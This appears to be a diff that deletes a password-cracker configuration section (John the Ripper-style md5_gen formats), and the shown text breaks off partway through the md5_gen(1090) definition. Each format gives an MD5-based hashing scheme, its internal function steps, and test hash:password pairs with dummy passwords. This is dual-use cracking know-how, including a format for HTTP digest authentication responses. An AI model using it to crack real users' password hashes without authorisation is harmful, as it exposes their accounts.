-Test=md5_gen(1024)ffb756913c91d25a7094d3fa3d1206dd:Longer Pass Here -Test=md5_gen(1024)50a16f415160a7132a86a551fc34bdc9:Junk -Test=md5_gen(1024)1d5615d1e07f2554970cb4a93d776ca3:Junk1 -Test=md5_gen(1024)778f5c751de2d5a32faf89626c786103:Junky3 - -#################################################################### -# mkmd5gen generated GENERIC-MD5 type for md5($p) -#################################################################### -[List.Generic:md5_gen(1025)] -Expression=md5_gen(1025): md5($p) -Flag=MGF_KEYS_INPUT -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1025)5a105e8b9d40e1329780d62ea2265d8a:test1 -Test=md5_gen(1025)8ad8757baa8564dc136c1e07507f4a98:test3 -Test=md5_gen(1025)900150983cd24fb0d6963f7d28e17f72:abc - -[List.Generic:md5_gen(1030)] -Expression=md5_gen(1030): md5($p.$p) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1030)42b72f913c3201fc62660d512f5ac746:test1 - -[List.Generic:md5_gen(1031)] -Expression=md5_gen(1031): md5($s.md5($p).$p) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SSEtoX86_switch_input1 -Func=MD5GenBaseFunc__ToSSE -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input_kwik -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__SSEtoX86_switch_input1 -Func=MD5GenBaseFunc__ToSSE -Func=MD5GenBaseFunc__clean_input_kwik -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__SSEtoX86_switch_input1 -Func=MD5GenBaseFunc__ToSSE -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1031)a459f60614498dbdd9a79dcc9c538749$aabbccdd:test1 - -[List.Generic:md5_gen(1032)] -Expression=md5_gen(1032): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1032)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - - -[List.Generic:md5_gen(1042)] -Expression=md5_gen(1042): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Flag=MGF_SALT_AS_HEX -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1042)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - - -[List.Generic:md5_gen(1052)] -Expression=md5_gen(1052): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Flag=MGF_SALT_AS_HEX -Flag=MGF_KEYS_BASE16_IN1_Offset32 -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__overwrite_salt_to_input1_no_size_fix -Func=MD5GenBaseFunc__set_input_len_64 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1052)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - -[List.Generic:md5_gen(1062)] -Expression=md5_gen(1062): md5(md5($s).md5($p).$p) -Flag=MGF_SALTED -Flag=MGF_SALT_AS_HEX -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__X86toSSE_switch_output1 -Test=md5_gen(1062)042d1f15ed57929a2ac8ee4f0a924679$aabbccdd:test1 - -[List.Generic:md5_gen(1033)] -Expression=md5_gen(1033): md5(md5($p).$s) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1033)e9fb44106edf60419d26a10b5439d0c7$aabbccddeeff:test1 -SaltLen=12 - -[List.Generic:md5_gen(1043)] -Expression=md5_gen(1043): md5(md5($p).$s) -Flag=MGF_SALTED -Flag=MGF_KEYS_BASE16_IN1 -Func=MD5GenBaseFunc__set_input_len_32 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1043)e9fb44106edf60419d26a10b5439d0c7$aabbccddeeff:test1 -SaltLen=12 - - -[List.Generic:md5_gen(1044)] -Expression=md5_gen(1044): md5(md5($p.md5($p.md5($s.$p))).$s) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1044)e4f0714e3e616ed7647dbd44aaff3c00$aabbccdd:test1 - - - -#################################################################### -# Simple GENERIC-MD5 type for md5(md5($p).md5($p)) -#################################################################### -[List.Generic:md5_gen(1063)] -# expression shown will be the string: md5_gen(1063) md5(md5($p).md5($p)) -Expression=md5(md5($p).md5($p)) -# NOTE, this format does NOT work on SSE2. It requires a md5() of a 64 byte string. -# SSE (or MMX) is limtited to 54 byte max password, due to 'enhancements' -# Thus, we need a non-sse2 safe flag. -#Flag=MGF_NOTSSE2Safe -Flag=MGF_KEYS_INPUT -# here is the optimized 'script' to perform hash 'like' IPB but salt replaced with password. -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__X86toSSE_switch_output1 -# These are test strings for this format. -Test=md5_gen(1063)478b10974f15e7295883224fd286ccba:test1 -Test=md5_gen(1063)18a59101e6c6fb38260d542a394ecb22:thatsworking -Test=md5_gen(1063)630b01b68b6db6fd43a751f8147d1faf:test3 - - -#################################################################### -# mkmd5gen generated GENERIC-MD5 type for md5($s.md5($p.$s.md5(md5($s2)).$c1.$c3.$c4.$c5.$c7.$c6.$c8).$c2) -#################################################################### -[List.Generic:md5_gen(5001)] -Expression=md5_gen(5001): md5($s.md5($p.$s.md5(md5($s2)).$c1.$c3.$c4.$c5.$c7.$c6.$c8).$c2) -Flag=MGF_SALTED -Flag=MGF_SALTED2 -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_2nd_salt -Func=MD5GenBaseFunc__crypt_in1_to_out2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST1 -Func=MD5GenBaseFunc__append_input2_from_CONST3 -Func=MD5GenBaseFunc__append_input2_from_CONST4 -Func=MD5GenBaseFunc__append_input2_from_CONST5 -Func=MD5GenBaseFunc__append_input2_from_CONST7 -Func=MD5GenBaseFunc__append_input2_from_CONST6 -Func=MD5GenBaseFunc__append_input2_from_CONST8 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST2 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(5001)6d1a31e525633013d52bc065328ecd7c$aabbccdd$$2xszef:test1 -Test=md5_gen(5001)1ad6b42d7f22fcafbf9609c3efbea182$zzyyxxww$$2ER#^s:test3 -Test=md5_gen(5001)5eeeca352107c1b565af4a249a8452ee$01234567$$2hhhas:ThisisWorking -Test=md5_gen(5001)fdb9c4702c7f82e3431d64f3b9d06136$98765432$$2hrhas:abc -Test=md5_gen(5001)4b1fce298a29af07a8d66542222fb36e$65432198$$2ksjas:Longer Pass Here -Test=md5_gen(5001)20d8de9d5a19e44181b0a8102e9345e4$32165498$$2Zhbbb:Junk -Test=md5_gen(5001)9dfb9c3259dfc316a098d6d45fc77f54$74185296$$2Thxyz:Junk1 -Test=md5_gen(5001)7ea6b7fa2c1f0e2baee1792b0234034d$96325874$$2ABCDEF:Junky3 -CONST1=c1 -CONST2=2 -CONST3=333 -CONST4=4444 -CONST5=c5 -CONST6=666666 -CONST7=const_7 -CONST8=c8 -SaltLen=8 - -[List.Generic:md5_gen(5002)] -Expression=md5_gen(5002): md5(md5($p)) -Flag=MGF_KEYS_INPUT -Func=MD5GenBaseFunc__crypt_in1_to_out2 -Func=MD5GenBaseFunc__SSEtoX86_switch_output2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -#sFunc=MD5GenBaseFunc__X86toSsE_switch_output1 -Test=md5_gen(5002)418d89a45edadb8ce4da17e07f72536c:test1 -Test=md5_gen(5002)ccd3c4231a072b5e13856a2059d04fad:thatsworking -Test=md5_gen(5002)9992295627e7e7162bdf77f14734acf8:test3 - -[List.Generic:md5_gen(5003)] -Expression=md5_gen(5003): md5($c1.md5($c2.md5($c3.md5($c4.md5($c5.md5($c6.md5($c7.md5($c8.$p).$c1).$c2).$c3).$c4).$c5).$c6).$c7) -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST8 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST7 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST1 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST6 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST5 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST3 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST4 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST4 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST3 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST5 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST6 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST1 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST7 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(5003)116475e5dcb0f34933dad42ba23f1c5d:test1 -Test=md5_gen(5003)78a24cda1176ee0a361204ad523e84db:test3 -Test=md5_gen(5003)33dd28264da1606c681d883947e1dc69:ThisisWorking -Test=md5_gen(5003)7ee41d938e2711ec317f2b6bebd27438:abc -Test=md5_gen(5003)31a334471399b2fe1ed00badc36d3163:Longer Pass Here -Test=md5_gen(5003)1a4eda9b6cd32febe9f9aa5d0a7f53ec:Junk -Test=md5_gen(5003)c3c4959e6cde82d9035fbc55608a53ef:Junk1 -Test=md5_gen(5003)75242eca2f979739a1b047f74f9b6851:Junky3 -CONST1=1 -CONST2=c2 -CONST3=333 -CONST4=4..4 -CONST5=5---5 -CONST6=6,,,,6 -CONST7=7!!!!!7 -CONST8=88888888 - -[List.Generic:md5_gen(5004)] -Expression=md5_gen(5004): md5($c1.md5($c2.md5($c3.md5($c4.md5($c5.md5($c6.md5($c7.md5($c8.$p).$c1).$c2).$c3).$c4).$c5).$c6).$c7) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST8 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST7 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST6 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST2 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST5 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST3 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST4 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST4 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST3 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST5 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST2 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST6 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST7 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(5004)116475e5dcb0f34933dad42ba23f1c5d:test1 -Test=md5_gen(5004)78a24cda1176ee0a361204ad523e84db:test3 -Test=md5_gen(5004)33dd28264da1606c681d883947e1dc69:ThisisWorking -Test=md5_gen(5004)7ee41d938e2711ec317f2b6bebd27438:abc -Test=md5_gen(5004)31a334471399b2fe1ed00badc36d3163:Longer Pass Here -Test=md5_gen(5004)1a4eda9b6cd32febe9f9aa5d0a7f53ec:Junk -Test=md5_gen(5004)c3c4959e6cde82d9035fbc55608a53ef:Junk1 -Test=md5_gen(5004)75242eca2f979739a1b047f74f9b6851:Junky3 -CONST1=1 -CONST2=c2 -CONST3=333 -CONST4=4..4 -CONST5=5---5 -CONST6=6,,,,6 -CONST7=7!!!!!7 -CONST8=88888888 - -[List.Generic:md5_gen(5005)] -Expression=md5_gen(5005): md5($c1.md5($c2.md5($c3.md5($c4.md5($c5.md5($c6.md5($c7.md5($c8.$p).$c1).$c2).$c3).$c4).$c5).$c6).$c7) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input1_from_CONST8 -Func=MD5GenBaseFunc__append_input2_from_input -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST7 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__append_input2_from_CONST1 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_input2_from_CONST6 -Func=MD5GenBaseFunc__append_input_from_input2 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST2 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST5 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST3 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST4 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST4 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST3 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST5 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST2 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST6 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_input1_from_CONST7 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(5005)116475e5dcb0f34933dad42ba23f1c5d:test1 -Test=md5_gen(5005)78a24cda1176ee0a361204ad523e84db:test3 -Test=md5_gen(5005)33dd28264da1606c681d883947e1dc69:ThisisWorking -Test=md5_gen(5005)7ee41d938e2711ec317f2b6bebd27438:abc -Test=md5_gen(5005)31a334471399b2fe1ed00badc36d3163:Longer Pass Here -Test=md5_gen(5005)1a4eda9b6cd32febe9f9aa5d0a7f53ec:Junk -Test=md5_gen(5005)c3c4959e6cde82d9035fbc55608a53ef:Junk1 -Test=md5_gen(5005)75242eca2f979739a1b047f74f9b6851:Junky3 -CONST1=1 -CONST2=c2 -CONST3=333 -CONST4=4..4 -CONST5=5---5 -CONST6=6,,,,6 -CONST7=7!!!!!7 -CONST8=88888888 - -# -num=5003 -const1=1 -const2=c2 -const3=333 -const4-4..4 -const5-5---5 -const6=6,,,,6 -const7=7!!!!!7 -const8=88888888 md5($c1.md5($c2.md5($c3.md5($c4.md5($c5.md5($c6.md5($c7.md5($c8.$p).$c1).$c2).$c3).$c4).$c5).$c6).$c7) - -[List.Generic:md5_gen(1053)] -Expression=md5_gen(1053): md5($s.md5($s).$p) -Flag=MGF_SALTED -Flag=MGF_SALT_AS_HEX_TO_SALT2 -Func=MD5GenBaseFunc__clean_input -#Func=MD5GenBaseFunc__append_salt -#Func=MD5GenBaseFunc__crypt -#Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -#Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_2nd_salt -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1053)94eead61c1c07bb832ff855dd6115702$aabbccdd:test1 -Test=md5_gen(1053)0c6253b0b82dc81bc5f5de0dcb59ee80$zzyyxxww:test3 -Test=md5_gen(1053)86d00c5383bbdaf1661d7729160766ed$01234567:ThisisWorking -Test=md5_gen(1053)22c4c1568720e6db338d672c8241d0e4$98765432:abc -Test=md5_gen(1053)f55723bdf8e577bf691b079aeadffe1f$32165498:Junk -Test=md5_gen(1053)133857938ba2921bb079b3eca170bc77$74185296:Junk1 -Test=md5_gen(1053)b24df1c9f98699a99e492a591bdf1241$96325874:Junky3 - - -[List.Generic:md5_gen(1054)] -Expression=md5_gen(1054): md5($s.md5(unicode($p))) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__setmode_unicode -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__setmode_normal -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1054)2e233d5102d2be03307ec5490075121d$aabbccdd:test1 -Test=md5_gen(1054)0474efd4022743c1113636fc1f34d88a$zzyyxxww:test3 -Test=md5_gen(1054)e3ab32d7db8521616781f13919bb17bc$01234567:ThisisWorking -Test=md5_gen(1054)9bc5270127c0a61c031ede0a61a79d98$98765432:abc -Test=md5_gen(1054)e3546ff029afaba5977ed1db0da8b467$32165498:Junk -Test=md5_gen(1054)e7c1a5215b06a7ee4048d70b50d086dd$74185296:Junk1 -Test=md5_gen(1054)66d4e0e951d5f064538b9b2db3bdf41d$96325874:Junky3 - - -[List.Generic:md5_gen(1055)] -Expression=md5_gen(1055): md5($s.md5(unicode($p))) -Flag=MGF_SALTED -Flag=MGF_KEYS_UNICODE_B4_CRYPT -Flag=MGF_KEYS_CRYPT_IN2 -Func=MD5GenBaseFunc__setmode_normal -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1055)2e233d5102d2be03307ec5490075121d$aabbccdd:test1 -Test=md5_gen(1055)0474efd4022743c1113636fc1f34d88a$zzyyxxww:test3 -Test=md5_gen(1055)e3ab32d7db8521616781f13919bb17bc$01234567:ThisisWorking -Test=md5_gen(1055)9bc5270127c0a61c031ede0a61a79d98$98765432:abc -Test=md5_gen(1055)e3546ff029afaba5977ed1db0da8b467$32165498:Junk -Test=md5_gen(1055)e7c1a5215b06a7ee4048d70b50d086dd$74185296:Junk1 -Test=md5_gen(1055)66d4e0e951d5f064538b9b2db3bdf41d$96325874:Junky3 - - -[List.Generic:md5_gen(1056)] -Expression=md5_gen(1056): md5(unicode($p).md5(unicode($s))) -Flag=MGF_SALTED -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__setmode_unicode -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__setmode_normal -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1056)34ba9cf3d8f61e6eb21942feb1164261$aabbccdd:test1 -Test=md5_gen(1056)7b4fdbaab27929e18808c96e41b846f0$zzyyxxww:test3 - - -[List.Generic:md5_gen(1057)] -Expression=md5_gen(1057): md5(unicode($p).md5(unicode($s))) -Flag=MGF_SALTED -Flag=MGF_SALT_UNICODE_B4_CRYPT -Flag=MGF_SALT_AS_HEX -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__setmode_unicode -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__setmode_normal -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1057)34ba9cf3d8f61e6eb21942feb1164261$aabbccdd:test1 -Test=md5_gen(1057)7b4fdbaab27929e18808c96e41b846f0$zzyyxxww:test3 - -[List.Generic:md5_gen(1058)] -Expression=md5_gen(1058): md5(unicode($p)) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__setmode_unicode -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1058)16c47151c18ac087cd12b3a70746c790:test1 -Test=md5_gen(1058)537e738b1ac5551f65106368dc301ece:thatsworking -Test=md5_gen(1058)849ee1b88b5d887bdb058180a666b450:test3 - -[List.Generic:md5_gen(1059)] -Expression=md5_gen(1059): md5(md5(unicode($p))) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__setmode_unicode -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__setmode_normal -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1059)ef1b8ee3ad8690fd1678093588727529:test1 -Test=md5_gen(1059)18a7e5f289730525111f7b65cb223506:thatsworking -Test=md5_gen(1059)01a0359d0cabbf49a0b0a8a941c7f5ab:test3 - - - -############################################################################## -# digest authentication scheme : -# h1 = md5(user:realm:password) -# h2 = md5(method:digestURI) -# response = h3 = md5(h1:nonce:nonceCount:ClientNonce:qop:h2) -# -# the 'special' salt sets 32space:nonce:nonceCount:ClientNonce:qop:h2 -# Also, this salt sets the first 5 bytes to be a growing text number, -# so that salt_hash works properly. -############################################################################## -[List.Generic:md5_gen(1060)] -Expression=md5_gen(1060): HDAA ) -Flag=MGF_HDAA_SALT -Flag=MGF_FLD2 -Flag=MGF_FLD3 -Flag=MGF_FLD4 -Flag=MGF_USERNAME -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_userid -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_fld2 -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input_kwik -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__overwrite_from_last_output_as_base16_no_size_fix -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1060)679066476e67b5c7c4e88f04be567f8b$8c12bd8f728afe56d45a0ce846b70e5a$$Uuser$$F2myrealm$$F3GET$/$$F400000001$4b61913cec32e2c9$auth:nocode -Test=md5_gen(1060)faa6cb7d676e5b7c17fcbf966436aa0c$af32592775d27b1cd06356b3a0db9ddf$$Umoi$$F2myrealm$$F3GET$/$$F400000001$8e1d49754a25aea7$auth:kikou -CONST1=: - - -[List.Generic:md5_gen(1090)] -Expression=md5(md5($p.$s).md5(md5($p).$s.md5($s.md5($s.$p))).md5(md5($s.$p.$p).$s.md5($p.md5($p.$s.$p))).$p.md5($s.$p.md5($s.$p.$s).$p.md5($s.$p.md5($p.$s.$s)))) -Flag=MGF_SALTED -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 